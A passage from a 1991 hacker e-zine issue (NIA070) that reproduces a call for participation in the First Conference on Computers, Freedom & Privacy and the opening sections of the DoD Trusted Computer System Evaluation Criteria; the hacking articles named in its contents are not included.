Founded By: | _ _______ Guardian Of Time | __ N.I.A. _ ___ ___ Are you on any WAN? are Judge Dredd | ____ ___ ___ ___ ___ you on Bitnet, Internet ------------------+ _____ ___ ___ ___ ___ Compuserve, MCI Mail, \ / ___ ___ ___ ___ ___________ Sprintmail, Applelink, +---------+ ___ ___ ___ ___ ___________ Easynet, MilNet, | 15FRI91 | ___ ______ ___ ___ ___ FidoNet, et al.? | File 70 | ___ _____ ___ ___ ___ If so please drop us a +---------+ ____ _ __ ___ line at ___ _ ___ elisem@nuchat.sccsi.com Other World BBS __ Text Only _ Network Information Access Ignorance, There's No Excuse. Issue 070 :: Volume 02 Submissions can be sent to our Internet address. ============================================================================= 1. The First Conference On Computers, Freedom & Privacy.....Dorothy Denning 2. DoD Trusted System Evaluation Criteria [01 of 02]............Judge Dredd 3. Kermit Protocol Manual [02 of 02]........................Malefactor [OC] 4. Social Engineering: A Way Of Life........................Malefactor [OC] 5. Unix Kerberos Manual...........................Doctor Dissector [PHA/P4] 6. A Basic Guide To Hacking Unix.......................Sir Hackalot [PHAZE] 7. Editor's Comments...............................................JD & GOT ============================================================================ / / / File 01 / NIA070 / / Dorothy Denning of / / Digital Equipment Corporation / / / ********************************************************* * THE FIRST CONFERENCE ON COMPUTERS, FREEDOM & PRIVACY * ********************************************************* Pursuing Policies for the Information Age in the Bicentennial Year of the Bill of Rights Tutorials & Invitational Conference, Limited to 600 Participants Monday-Thursday, March 25-28, 1991 Airport SFO Marriott Hotel, Burlingame, California (San Francisco Peninsula) Co-sponsors & cooperating organizations include Institute of Electrical and Electronics Engineers-USA Association for Computing Machinery Electronic Networking Association Electronic Frontier Foundation Videotex Industry Association Cato Institute American Civil Liberties Union ACM Special Interest Group on Software IEEE-USA Intellectual Property Committee ACM Special Interest Group on Computers and Society ACM Committee on Scientific Freedom and Human Rights IEEE-USA Committee on Communications and Information Policy Autodesk, Inc. The WELL Portal Communications Sponsored by the Computer Professionals for Social Responsibility A nonprofit educational corporation (415)322-3778, e-mail: cfp@well.sf.ca.us. fax: (415)851-2814 ABOUT COMPUTERS, FREEDOM & PRIVACY ---------------------------------- We are at a crossroads as individuals, organizations and governments depend more and more on computers and computer networks. Within ten years, most global information will be collected and utilized electronically. The 1990's are the pivotal decade in which statutes, policies and judicial precedents will be developed for controlling access, use -- and abuse -- of computerized information and electronic mail. Current government and private-sector policies are an uncoordinated jumble, created as each group evolves ways to collect, manipulate, extract, share and protect computerized and networked information and services. Data on individuals and groups is being computerized by numerous agencies, organizations and special interests, often without the knowledge or approval of those it concerns, and with varying degrees of accuracy. Computers can greatly assist individuals, organizations and government in making sound decisions based on efficient access to adequate information -- for personal benefit, business improvement and national well-being. Or, inappropriate use and regulation can seriously threaten fundamental freedoms, personal privacy, and the democratic processes that are at the very foundation of this nation and of any free society. ABOUT THE CONFERENCE SESSIONS (Tuesday-Thursday, March 26th-28th) ----------------------------------------------------------------- PLENARY SPEAKERS: * Laurence H. Tribe, Professor of Constitutional Law, Harvard Law School, offering major policy proposals in the opening Conference session, "The Constitution in Cyberspace: Law & Liberty Beyond the Electronic Frontier". * Eli M. Noam, Director of the Center for Telecommunications and Information Studies, Columbia University, and a recognized leader in telecommunications regulation, international communications policies and economics, will discuss, "Network Environments of the Future: Reconciling Free Speech and Freedom of Association." * William A. Bayse, Assistant Director, FBI Technical Services Division, Washington DC, providing perspectives on "Balancing Computer Security Capabilities with Privacy and Integrity" at the Wednesday evening banquet. THE CONFERENCE SESSIONS offer diverse speakers & panel discussions: Trends in Computers & Networks. Overview and prognosis of computing capabilities and networking as they impact personal privacy, confidentiality, security, one-to-one & many-to-one communications, and access to information about government, business and society. International Perspectives & Impacts. Other nationsU models for protecting personal information and communications, and granting access to government information; existing and developing laws; requirements for trans-national dataflow and their implications; impacts on personal expression; accountability. Personal Information & Privacy. Government and private collection, sharing, marketing, verification, use, protection of, access to and responsibility for personal data, including buying patterns, viewing habits, lifestyle, work, health, school, census, voter, tax, financial and consumer information. Law Enforcement Practices & Problems. Issues relating to investigation, prosecution, due process and deterring computer crimes, now and in the future; use of computers to aid law enforcement. Law Enforcement & Civil Liberties. Interaction of computer crime, law enforcement and civil liberties; issues of search, seizure and sanctions, especially as applied to shared or networked information, software and equipment. Legislation & Regulation. Legislative and regulatory roles in protecting privacy and insuring access; legal problems posed by computing and computer networks; approaches to improving related government processes. Computer-based Surveillance of Individuals. Monitoring electronic-mail, public & private teleconferences, electronic bulletin boards, publications and subscribers; monitoring individuals, work performance, buying habits and lifestyles. Electronic Speech, Press & Assembly. Freedoms and responsibilities regarding electronic speech, public and private electronic assembly, electronic publishing, prior restraint and chilling effects of monitoring. Access to Government Information. Implementing individual and corporate access to federal, state & local information about communities, corporations, legislation, administration, the courts and public figures; allowing access while protecting confidentiality. Ethics & Education. Ethical principles for individuals, system administrators, organizations, corporations and government; copying of data, copying of software, distributing confidential information; relations to computer education and computer law. Where Do We Go From Here? [closing session] Perspectives, recommendations and commitments of participants from the major interest groups, proposed next steps to protect personal privacy, protect fundamental freedoms and encourage responsible policies and action. Also: Tuesday and Wednesday will include structured opportunities for attendees to identify groups with whom they want to establish contact and, if they wish, announce topics they would like to discuss, one on one. ABOUT THIS PREMIER EVENT ------------------------ This is an intensive, multi-disciplinary survey Conference for those concerned with computing, teleconferencing, electronic mail, computerized personal information, direct marketing information, government data, etc. -- and those concerned with computer-related legislation, regulation, computer security, law enforcement and national and international policies that impact civil liberties, responsible exercise of freedom and equitable protection of privacy in this global Information Age. For the first time, this four-day invitational event will bring together representatives from all of these groups and more, all in one place, all at one time. Many of the recognized leaders and strongest advocates representing the various groups having an interest in the issues of the conference will discuss their concerns and proposals. A maximum of 600 applicants will be invited to attend. Balanced representation from the diverse groups interested in these issues is being encouraged. Please see the enclosed Invitation Application for details. To inform participants about topics beyond their specialties, half-day seminars are scheduled for the first day (Monday, March 25th). These parallel tutorials will explore relevant issues in computing, networking, civil liberties, regulation, the law and law enforcement. Each tutorial is designed for those who are experienced in one area, but are less knowledgeable in the subject of that tutorial. To explore the interactions and ramifications of the issues, conference talks and panel discussions are scheduled for the remaining three days (Tuesday-Thursday, March 26th-28th). These will emphasize balanced representation of all major views, especially including probing questions and discussion. Explicit Conference events to foster communication across disciplines are planned. Working luncheons, major breaks and two evening banquets will further encourage individual and small-group discussions. ABOUT JUST *SOME* OF THE SPEAKERS IN THE 3-DAY CONFERENCE --------------------------------------------------------- Ken Allen, Senior Vice President for Governmental Relations, Information Industries Association (IIA). Sharon Beckman, civil rights and criminal defense attorney and Electronic Frontier Foundation litigation counsel, Silverglate & Good. Jerry Berman, Director of the ACLU's Project on Information Technology and Communications Policy Fellow, Benton Foundation. Paul Bernstein, columnist, Trial magazine; Electronic Bar Assn. Legal Info. Network administrator; LawMUG BBS sysop; edits on-line lawyers' newsletter. Sally Bowman, promotes responsible computing practices through school teaching units; Director, Computer Learning Foundation. David Burnham, author, *Rise of the Computer State*; former *New York Times* investigative reporter; specialist in IRS & Freedom of Information Act. Mary Culnan, co-authored major credit reporting policies presented to Congress; School of Business Administration, Georgetown University. Peter Denning, Editor, 1990 *Computers Under Attack*; past Pres., ACM; founding Director, RIACS; editor, *Communications of the ACM*. Dorothy Denning, received Aerospace's 1990 Distinguished Lecturer in Computer Security award; author, *Cryptography & Data Security*. Dave Farber, co-founder, CSNET; member, National Research Council's Computer Science & Telecommunications Board; University of Pennsylvania. Cliff Figallo, Chief Executive Officer and Director of the WELL (the Whole Earth 'Lectronic Link). David Flaherty, Canadian surveillance expert, Professor of History & Law at the University of Western Ontario. John Ford, Public Relations Director for Equifax, one of the nation's largest maintainers of information on individuals. Bob Gellman, Chief Counsel, U.S. House of Representatives Governmental Information Subcommittee. Janlori Goldman, Director, ACLU Project on Privacy & Technology, Washington, DC. Harry Hammit, Editor, *Access Reports*, focusing on access to information. Martin Hellman, identified potential hazards in federal DES national encryption standard; co-invented public-key encryption; Stanford University. Evan Hendricks, Editor & Publisher of *Privacy Times* newsletter. Lance Hoffman, public policy researcher and Professor of Electrical Engineering & Computer Science at George Washington University. Don Ingraham, wrote the first-ever search warrant for magnetic media, computer crime prosecutor; Asst. District Attorney, Alameda County. Bob Jacobson, former Principal Consultant, Calif. State Assembly Utilities and Commerce Committee; drafted landmark comp. communications legislation. Mitch Kapor, co-founder, Electronic Frontier Foundation; founder, Lotus Corp.; received DPMA's 1990 Distinguished Information Science Award. Tom Mandel, Director of the Leading Edge Values & Lifestyles Program at SRI International. John McMullen, well-known on-line journalist; co-authors "Newsbytes" column on GEnie and Online America. Peter Neumann, member, National Research Council's 1990 *Computers at Risk* committee; Chair, ACM Comm.on Computers & Public Policy; hosts RISKS Forum. Donn Parker, perhaps the best-known international consultant and author on information security and computer crime, SRI International. Ron Plesser, former majority party congressional committee counsel; privacy expert; attorney, Piper & Marbury. John Quarterman, author, Digital Press' definitive *The Matrix: Computer Networks and Conferencing Systems Worldwide*; networking consultant. Jack Rickard, Editor of *Boardwatch* magazine, perhaps the best news source about computer bulletin boards; Online Information Service. Tom Riley, Canadian specialist in international computing and privacy issues; Riley & Associates. Lance Rose, co-author of *Syslaw*, about the law applied to on-line situations; attorney, Wallace & Rose. Marc Rotenberg, expert in federal computer and privacy law; Computer Professionals for Social Responsibility, Washington office Director. Noel Shipman, attorney for plaintiffs in electronic-mail privacy landmark 1990 litigation against Epson America. Harvey Silverglate, Electronic Frontier Foundation litigation counsel, specialist in criminal defense and civil rights, Silverglate & Good. Gail Thackeray, computer crime prosecutor; involved in Secret Service's 1990 "Operation Sun Devil", Arizona Asst. State Attorney General. Robert Veeder, Acting Chief, Information Policy Branch, Office of Information Regulatory Affairs, OMB (Office of Management & Budget). Willis Ware, computer security expert; Fellow, RAND Corporation. Sheldon Zenner, former federal prosecutor in Chicago; defended *Phrack* electronic publisher, Craig Neidorf; Katten, Muchin & Zavis. ABOUT THE LOW-COST TUTORIALS (Monday, March 25th) ------------------------------------------------- Seminars on the first day offer introductions to the different disciplines that intersect in this conference. These are surveys for individuals not already expert in the topics presented. These half-day tutorials are scheduled in four parallel tracks: Global Communications & the Worldwide Computer Matrix. [morning*] Survey of electronic-mail & teleconferencing services, global information access, remote services and the matrix of networks. Low-Cost Computer Networking & Computer Bulletin Board Systems. [afternoon*] Reviews e-mail, bulletin board and teleconferencing alternatives on personal computers; outlines low-cost PC-based networks and their gateways to the global matrix. -- Mark Graham*, co-founder of Institute for Global Communications, PeaceNet and EcoNet; Pandora Systems Current & Proposed International Policies. [morning*] Law and regulation that will or may impact trans-border data-flow and computer communications, impacting U.S. information practices and international business. Federal Legislation Impacting Computer Use. [afternoon*] Detailed review of landmark federal statutes impacting access to information, privacy of information, computer security and computer crime. -- Marc Rotenberg*, former congressional counsel and expert on federal legislation, CPSR, Washington DC. How Computer Crackers Crack! [morning*] Suggested by a deputy district attorney specializing in high-tech crime, this is for law enforcement officials, prosecutors, systems administrators and Bulletin Board System (BBS) sysops. -- Russell Brand*, computer security specialist; programmer with Reasoning Systems, Palo Alto CA. How Computer Crime is Investigated. [afternoon*] This reviews investigation, search, seizure and evidence requirements for pursuing computer crime. It is for computer users, computer owners, BBS sysops and investigators unfamiliar with computer crime practices. Information Security. [afternoon*] Survey for systems managers of internal and external threats, security measures, alternatives and other computer and data security issues. -- Donn Parker*, a leading consultant in information security and computer crime, SRI International. * - Lecturers, descriptions and times were confirmed as of 1/8/91, but may be subject to change. CONFERENCE CHAIR Jim Warren, Autodesk, Inc. & *MicroTimes* 415-851-7075, jwarren@well.sf.ca.us / e-mail PROGRAM COMMITTEE Dorothy Denning, Digital Equipment Corporation Peter Denning, Research Institute for Advanced Computer Science Les Earnest, SF Peninsula ACLU & Stanford University, ret. Elliot Fabric, Attorney at Law Mark Graham, Pandora Systems Don Ingraham, Alameda County District AttorneyUs Office Bruce Koball, Motion West Marc Rotenberg, Computer Professionals for Social Responsibility Glenn Tenney, Fantasia Systems & Hacker's Conference ADVISORS Ron Anderson, ACM SIGCAS & University of Minnesota John Perry Barlow, Electronic Frontier Foundation Jerry Berman, ACLU & Benton Foundation Dave Caulkins, USSR GlasNet Vint Cerf, Corporation for National Research Initiatives Margaret Chambers, Electronic Networking Association Steve Cisler, Apple Computer, Inc. Whit Diffie, Northern Telecom Mary Eisenhart, *MicroTimes* Dave Farber, University of Pennsylvania Cliff Figallo, The WELL John Gilmore, Cygnus Support Adele Goldberg, ParcPlace Systems Terry Gross, Rabinowitz, Boudin, Standard, et al Keith Henson, consultant & Alcor Lance Hoffman, George Washington University Dave Hughes, Chariot Communications Bob Jacobson, Human Interface Technology Laboratory Mitch Kapor, Electronic Frontier Foundation Roger Karraker, Santa Rosa College Tom Mandel, SRI International John McMullen, NewsBytes Peter Neumann, SRI International Dave Redell, Digital Equipment Corporation Ken Rosenblattt, Santa Clara County District Attorney's Office Paul Saffo, Institute for the Future Gail Thackeray, Arizona Attorney GeneralUs Office Jay Thorwaldson, Palo Alto Medical Foundation Terry Winograd, CPSR & Stanford University Sheldon Zenner, Katten, Muchin, & Zavis Affiliations listed only for identification ============================ = Request for Invitation = ============================ First Conference on Computers, Freedom & Privacy March 25-28, 1991 Monday: Tutorials, Tuesday-Thursday: Conference Sessions SFO Marriott Hotel, 1800 Old Bayshore Hwy., Burlingame CA 94010 For hotel reservations at Conference rates, call: (800)228-9290 #3 ** Invitational Conference, limted to 600 participants. ** To facilitate useful dialogue and balanced participation by representatives from all of the diverse groups interested in these issues, attendance is limited. (The capacity of the Conference facility is similarly limited). All interested individuals are encouraged to request an invitation. Invitations will be primarily issued on a first-come, first-served basis within each major interest group. Fees if payment is received: by Jan.31 Feb.1-Mar.15 after Mar.15 Tutorials (full day) $ 95 $ 145 $ 195 Conference (3 days) $ 295 $ 350 $ 400 Conference Registration fee includes three luncheons, two banquet meetings and selected handouts: Please make checks payable to "Computers, Freedom & Privacy/CPSR". Please don't send cash. Invitations will be promptly issued, or the uncashed check will be voided and promptly returned. Please type or print. Thank ye, kindly. name: title: organization: mailing address: city, state ZIP: phone(s): fax: e-mail: Comments to assist in evaluating this request: To aid in balancing participation among groups, please check all significantly applicable items. [ ] user of computers or computer networking [ ] user of electronic-mail services [ ] user of teleconferencing services [ ] user of direct marketing services [ ] user of computerized personal information [ ] user of government information [ ] computer professional [ ] BBS sysop (bulletin board system operator) [ ] systems administrator / infosystems manager [ ] network administrator [ ] computer / communications security specialist [ ] provider of data communications services [ ] provider of electronic-mail services [ ] provider of teleconferencing services [ ] provider of direct marketing services [ ] provider of computerized personal information [ ] provider of government information [ ] legislative official [ ] federal [ ] state [ ] regulatory official or staff [ ] federal [ ] state [ ] law enforcement official [ ] federal [ ] state [ ] local [ ] prosecutor [ ] federal [ ] state [ ] local [ ] judicial representative [ ] federal [ ] state [ ] local [ ] criminal defense attorney [ ] corporate or litigation attorney [ ] civil liberties specialist [ ] journalist [ ] newspaper [ ] television [ ] radio [ ] other [ ] other: [ ] other: <<1/7/91>> Please mail form and payment to: CFP Conference, 345 Swett Road, Woodside CA 94062 Privacy Notice: This information will not be sold, rented, loaned, exchanged or used for any purpose other than official CPSR activity. CPSR may elect to send information about other activities, but such mailings will always originate with CPSR. Sponsor: Computer Professionals for Social Responsibility, (415)322-3778 A nonprofit, educational corporation [ Internal Revenue Code 501(c)(3) ] e-mail: cfp@well.sf.ca.us; fax: (415)851-2814 Chair: Jim Warren, (415)851-7075 ============================================================================= / / / File 02 / NIA070 / / DOD-TCSEC Manual 01 of 02 / / Judge Dredd / / / CSC-STD-001-83 Library No. S225,711 DEPARTMENT OF DEFENSE TRUSTED COMPUTER SYSTEM EVALUATION CRITERIA 15 August 1983 CSC-STD-001-83 FOREWORD This publication, "Department of Defense Trusted Computer System Evaluation Criteria," is being issued by the DoD Computer Security Center under the authority of and in accordance with DoD Directive 5215.1, "Computer Security Evaluation Center." The criteria defined in this document constitute a uniform set of basic requirements and evaluation classes for assessing the effectiveness of security controls built into Automatic Data Processing (ADP) systems. These criteria are intended for use in the evaluation and selection of ADP systems being considered for the processing and/or storage and retrieval of sensitive or classified information by the Department of Defense. Point of contact concerning this publication is the Office of Standards and Products, Attention: Chief, Computer Security Standards. ____________________________ 15 August 1983 Melville H. Klein Director DoD Computer Security Center ACKNOWLEDGMENTS Special recognition is extended to Sheila L. Brand, DoD Computer Security Center (DoDCSC), who integrated theory, policy, and practice into and directed the production of this document. Acknowledgment is also given for the contributions of: Grace Hammonds and Peter S. Tasker, the MITRE Corp., Daniel J. Edwards, Col. Roger R. Schell, Marvin Schaefer, DoDCSC, and Theodore M. P. Lee, Sperry UNIVAC, who as original architects formulated and articulated the technical issues and solutions presented in this document; Jeff Makey and Warren F. Shadle, DoDCSC, who assisted in the preparation of this document; James P. Anderson, James P. Anderson & Co., Steven B. Lipner, Digital Equipment Corp., Clark Weissman, System Development Corp., LTC Lawrence A. Noble, formerly U.S. Air Force, Stephen T. Walker, formerly DoD, Eugene V. Epperly, DoD, and James E. Studer, formerly Dept. of the Army, who gave generously of their time and expertise in the review and critique of this document; and finally, thanks are given to the computer industry and others interested in trusted computing for their enthusiastic advice and assistance throughout this effort. TABLE OF CONTENTS FOREWORD. . . . . . . . . . . . . . . . . . . . . . . . . . . .i ACKNOWLEDGMENTS . . . . . . . . . . . . . . . . . . . . . . . ii PREFACE . . . . . . . . . . . . . . . . . . . . . . . . . . . .v INTRODUCTION. . . . . . . . . . . . . . . . . . . . . . . . . .1 PART I: THE CRITERIA Section 1.0 DIVISION D: MINIMAL PROTECTION. . . . . . . . . . . . .9 2.0 DIVISION C: DISCRETIONARY PROTECTION. . . . . . . . . 11 2.1 Class (C1): Discretionary Security Protection . . 12 2.2 Class (C2): Controlled Access Protection. . . . . 15 3.0 DIVISION B: MANDATORY PROTECTION. . . . . . . . . . . 19 3.1 Class (B1): Labeled Security Protection . . . . . 20 3.2 Class (B2): Structured Protection . . . . . . . . 26 3.3 Class (B3): Security Domains. . . . . . . . . . . 33 4.0 DIVISION A: VERIFIED PROTECTION . . . . . . . . . . . 41 4.1 Class (A1): Verified Design . . . . . . . . . . . 42 4.2 Beyond Class (A1). . . . . . . . . . . . . . . . . 51 PART II: RATIONALE AND GUIDELINES 5.0 CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS. . . . . 55 5.1 A Need for Consensus . . . . . . . . . . . . . . . 56 5.2 Definition and Usefulness. . . . . . . . . . . . . 56 5.3 Criteria Control Objective . . . . . . . . . . . . 56 6.0 RATIONALE BEHIND THE EVALUATION CLASSES. . . . . . . . . 63 6.1 The Reference Monitor Concept. . . . . . . . . . . 64 6.2 A Formal Security Policy Model . . . . . . . . . . 64 6.3 The Trusted Computing Base . . . . . . . . . . . . 65 6.4 Assurance. . . . . . . . . . . . . . . . . . . . . 65 6.5 The Classes. . . . . . . . . . . . . . . . . . . . 66 7.0 THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA . . . . 69 7.1 Established Federal Policies . . . . . . . . . . . 70 7.2 DoD Policies . . . . . . . . . . . . . . . . . . . 70 7.3 Criteria Control Objective For Security Policy . . 71 7.4 Criteria Control Objective for Accountability. . . 74 7.5 Criteria Control Objective for Assurance . . . . . 76 8.0 A GUIDELINE ON COVERT CHANNELS . . . . . . . . . . . . . 79 9.0 A GUIDELINE ON CONFIGURING MANDATORY ACCESS CONTROL FEATURES . . . . . . . . . . . . . . . . . . . . . . . . 81 10.0 A GUIDELINE ON SECURITY TESTING . . . . . . . . . . . . 83 10.1 Testing for Division C . . . . . . . . . . . . . . 84 10.2 Testing for Division B . . . . . . . . . . . . . . 84 10.3 Testing for Division A . . . . . . . . . . . . . . 85 APPENDIX A: Commercial Product Evaluation Process. . . . . . 87 APPENDIX B: Summary of Evaluation Criteria Divisions . . . . 89 APPENDIX C: Sumary of Evaluation Criteria Classes. . . . . . 91 APPENDIX D: Requirement Directory. . . . . . . . . . . . . . 93 GLOSSARY. . . . . . . . . . . . . . . . . . . . . . . . . . .109 REFERENCES. . . . . . . . . . . . . . . . . . . . . . . . . .115 PREFACE The trusted computer system evaluation criteria defined in this document classify systems into four broad hierarchical divisions of enhanced security protection. They provide a basis for the evaluation of effectiveness of security controls built into automatic data processing system products. The criteria were developed with three objectives in mind: (a) to provide users with a yardstick with which to assess the degree of trust that can be placed in computer systems for the secure processing of classified or other sensitive information; (b) to provide guidance to manufacturers as to what to build into their new, widely-available trusted commercial products in order to satisfy trust requirements for sensitive applications; and (c) to provide a basis for specifying security requirements in acquisition specifications. Two types of requirements are delineated for secure processing: (a) specific security feature requirements and (b) assurance requirements. Some of the latter requirements enable evaluation personnel to determine if the required features are present and functioning as intended. Though the criteria are application-independent, it is recognized that the specific security feature requirements may have to be interpreted when applying the criteria to specific applications or other special processing environments. The underlying assurance requirements can be applied across the entire spectrum of ADP system or application processing environments without special interpretation. INTRODUCTION Historical Perspective In October 1967, a task force was assembled under the auspices of the Defense Science Board to address computer security safeguards that would protect classified information in remote-access, resource-sharing computer systems. The Task Force report, "Security Controls for Computer Systems," published in February 1970, made a number of policy and technical recommendations on actions to be taken to reduce the threat of compromise of classified information processed on remote-access computer systems.[34] Department of Defense Directive 5200.28 and its accompanying manual DoD 5200.28-M, published in 1972 and 1973 respectivley, responded to one of these recommendations by establishing uniform DoD policy, security requirements, administrative controls, and technical measures to protect classified information processed by DoD computer systems.[8;9] Research and development work undertaken by the Air Force, Advanced Research Projects Agency, and other defense agencies in the early and mid 70's developed and demonstrated solution approaches for the technical problems associated with controlling the flow of information in resource and information sharing computer systems.[1] The DoD Computer Security Initiative was started in 1977 under the auspices of the Under Secretary of Defense for Research and Engineering to focus DoD efforts addressing computer security issues.[33] Concurrent with DoD efforts to address computer security issues, work was begun under the leadership of the National Bureau of Standards (NBS) to define problems and solutions for building, evaluating, and auditing secure computer systems.[17] As part of this work NBS held two invitational workshops on the subject of audit and evaluation of computer security.[20;28] The first was held in March 1977, and the second in November of 1978. One of the products of the second workshop was a definitive paper on the problems related to providing criteria for the evaluation of technical computer security effectiveness.[20] As an outgrowth of recommendations from this report, and in support of the DoD Computer Security Initiative, the MITRE Corporation began work on a set of computer security evaluation criteria that could be used to assess the degree of trust one could place in a computer system to protect classified data.[24;25;31] The preliminary concepts for computer security evaluation were defined and expanded upon at invitational workshops and symposia whose participants represented computer security expertise drawn from industry and academia in addition to the government. Their work has since been subjected to much peer review and constructive technical criticism from the DoD, industrial research and development organizations, universities, and computer manufacturers. The DoD Computer Security Center (the Center) was formed in January 1981 to staff and expand on the work started by the DoD Computer Security Initiative.[15] A major goal of the Center as given in its DoD Charter is to encourage the widespread availability of trusted computer systems for use by those who process classified or other sensitive information.[10] The criteria presented in this document have evolved from the earlier NBS and MITRE evaluation material. Scope The trusted computer system evaluation criteria defined in this document apply to both trusted general-purpose and trusted embedded (e.g., those dedicated to a specific application) automatic data processing (ADP) systems. Included are two distinct sets of requirements: 1) specific security feature requirements; and 2) assurance requirements. The specific feature requirements encompass the capabilities typically found in information processing systems employing general-purpose operating systems that are distinct from the applications programs being supported. The assurance requirements, on the other hand, apply to systems that cover the full range of computing environments from dedicated controllers to full range multilevel secure resource sharing systems. Purpose As outlined in the Preface, the criteria have been developed for a number of reasons: * To provide users with a metric with which to evaluate the degree of trust that can be placed in computer systems for the secure processing of classified and other sensitive information. * To provide guidance to manufacturers as to what security features to build into their new and planned, commercial products in order to provide widely available systems that satisfy trust requirements for sensitive applications. * To provide a basis for specifying security requirements in acquisition specifications. With respect to the first purpose for development of the criteria, i.e., providing users with a security evaluation metric, evaluations can be delineated into two types: (a) an evaluation can be performed on a computer product from a perspective that excludes the application environment; or, (b) it can be done to assess whether appropriate security measures have been taken to permit the system to be used operationally in a specific environment. The former type of evaluation is done by the Computer Security Center through the Commercial Product Evaluation Process. That process is described in Appendix A. The latter type of evaluation, i.e., those done for the purpose of assessing a system's security attributes with respect to a specific operational mission, is known as a certification evaluation. It must be understood that the completion of a formal product evaluation does not constitute certification or accreditation for the system to be used in any specific application environment. On the contrary, the evaluation report only provides a trusted computer system's evaluation rating along with supporting data describing the product system's strengths and weaknesses from a computer security point of view. The system security certification and the formal approval/accreditation procedure, done in accordance with the applicable policies of the issuing agencies, must still be followed-before a system can be approved for use in processing or handling classified information.[8;9] The trusted computer system evaluation criteria will be used directly and indirectly in the certification process. Along with applicable policy, it will be used directly as the basis for evaluation of the total system and for specifying system security and certification requirements for new acquisitions. Where a system being evaluated for certification employs a product that has undergone a Commercial Product Evaluation, reports from that process will be used as input to the certification evaluation. Technical data will be furnished to designers, evaluators and the Designated Approving Authorities to support their needs for making decisions. Fundamental Computer Security Requirements Any discussion of computer security necessarily starts from a statement of requirements, i.e., what it really means to call a computer system "secure." In general, secure systems will control, through use of specific security features, access to information such that only properly authorized individuals, or processes operating on their behalf, will have access to read, write, create, or delete information. Six fundamental requirements are derived from this basic statement of objective: four deal with what needs to be provided to control access to information; and two deal with how one can obtain credible assurances that this is accomplished in a trusted computer system. POLICY Requirement 1 - SECURITY POLICY - There must be an explicit and well-defined security policy enforced by the system. Given identified subjects and objects, there must be a set of rules that are used by the system to determine whether a given subject can be permitted to gain access to a specific object. Computer systems of interest must enforce a mandatory security policy that can effectively implement access rules for handling sensitive (e.g., classified) information.[7] These rules include requirements such as: No person lacking proper personnel security clearance shall obtain access to classified information. In addition, discretionary security controls are required to ensure that only selected users or groups of users may obtain access to data (e.g., based on a need-to-know). Requirement 2 - MARKING - Access control labels must be associated with objects. In order to control access to information stored in a computer, according to the rules of a mandatory security policy, it must be possible to mark every object with a label that reliably identifies the object's sensitivity level (e.g., classification), and/or the modes of access accorded those subjects who may potentially access the object. ACCOUNTABILITY Requirement 3 - IDENTIFICATION - Individual subjects must be identified. Each access to information must be mediated based on who is accessing the information and what classes of information they are authorized to deal with. This identification and authorization information must be securely maintained by the computer system and be associated with every active element that performs some security-relevant action in the system. Requirement 4 - ACCOUNTABILITY - Audit information must be selectively kept and protected so that actions affecting security can be traced to the responsible party. A trusted system must be able to record the occurrences of security-relevant events in an audit log. The capability to select the audit events to be recorded is necessary to minimize the expense of auditing and to allow efficient analysis. Audit data must be protected from modification and unauthorized destruction to permit detection and after-the-fact investigations of security violations. ASSURANCE Requirement 5 - ASSURANCE - The computer system must contain hardware/software mechanisms that can be independently evaluated to provide sufficient assurance that the system enforces requirements 1 through 4 above. In order to assure that the four requirements of Security Policy, Marking, Identification, and Accountability are enforced by a computer system, there must be some identified and unified collection of hardware and software controls that perform those functions. These mechanisms are typically embedded in the operating system and are designed to carry out the assigned tasks in a secure manner. The basis for trusting such system mechanisms in their operational setting must be clearly documented such that it is possible to independently examine the evidence to evaluate their sufficiency. Requirement 6 - CONTINUOUS PROTECTION - The trusted mechanisms that enforce these basic requirements must be continuously protected against tampering and/or unauthorized changes. No computer system can be considered truly secure if the basic hardware and software mechanisms that enforce the security policy are themselves subject to unauthorized modification or subversion. The continuous protection requirement has direct implications throughout the computer system's life-cycle. These fundamental requirements form the basis for the individual evaluation criteria applicable for each evaluation division and class. The interested reader is referred to Section 5 of this document, "Control Objectives for Trusted Computer Systems," for a more complete discussion and further amplification of these fundamental requirements as they apply to general-purpose information processing systems and to Section 7 for amplification of the relationship between Policy and these requirements. Structure of the Document The remainder of this document is divided into two parts, four appendices, and a glossary. Part I (Sections 1 through 4) presents the detailed criteria derived from the fundamental requirements described above and relevant to the rationale and policy excerpts contained in Part II. Part II (Sections 5 through 10) provides a discussion of basic objectives, rationale, and national policy behind the development of the criteria, and guidelines for developers pertaining to: mandatory access control rules implementation, the covert channel problem, and security testing. It is divided into six sections. Section 5 discusses the use of control objectives in general and presents the three basic control objectives of the criteria. Section 6 provides the theoretical basis behind the criteria. Section 7 gives excerpts from pertinent regulations, directives, OMB Circulars, and Executive Orders which provide the basis for many trust requirements for processing nationally sensitive and classified information with computer systems. Section 8 provides guidance to system developers on expectations in dealing with the covert channel problem. Section 9 provides guidelines dealing with mandatory security. Section 10 provides guidelines for security testing. There are four appendices, including a description of the Trusted Computer System Commercial Products Evaluation Process (Appendix A), summaries of the evaluation divisions (Appendix B) and classes (Appendix C), and finally a directory of requirements ordered alphabetically. In addition, there is a glossary. Structure of the Criteria The criteria are divided into four divisions: D, C, B, and A ordered in a hierarchical manner with the highest division (A) being reserved for systems providing the most comprehensive security. Each division represents a major improvement in the overall confidence one can place in the system for the protection of sensitive information. Within divisions C and B there are a number of subdivisions known as classes. The classes are also ordered in a hierarchical manner with systems representative of division C and lower classes of division B being characterized by the set of computer security mechanisms that they possess. Assurance of correct and complete design and implementation for these systems is gained mostly through testing of the security- relevant portions of the system. The security-relevant portions of a system are referred to throughout this document as the Trusted Computing Base (TCB). Systems representative of higher classes in division B and division A derive their security attributes more from their design and implementation structure. Increased assurance that the required features are operative, correct, and tamperproof under all circumstances is gained through progressively more rigorous analysis during the design process. Within each class, four major sets of criteria are addressed. The first three represent features necessary to satisfy the broad control objectives of Security Policy, Accountability, and Assurance that are discussed in Part II, Section 5. The fourth set, Documentation, describes the type of written evidence in the form of user guides, manuals, and the test and design documentation required for each class. A reader using this publication for the first time may find it helpful to first read Part II, before continuing on with Part I. PART I: THE CRITERIA Highlighting (UPPERCASE) is used in Part I to indicate criteria not contained in a lower class or changes and additions to already defined criteria. Where there is no highlighting, requirements have been carried over from lower classes without addition or modification. 1.0 DIVISION D: MINIMAL PROTECTION This division contains only one class. It is reserved for those systems that have been evaluated but that fail to meet the requirements for a higher evaluation class. 2.0 DIVISION C: DISCRETIONARY PROTECTION Classes in this division provide for discretionary (need-to-know) protection and, through the inclusion of audit capabilities, for accountability of subjects and the actions they initiate. 2.1 CLASS (C1): DISCRETIONARY SECURITY PROTECTION The Trusted Computing Base (TCB) of a class (C1) system nominally 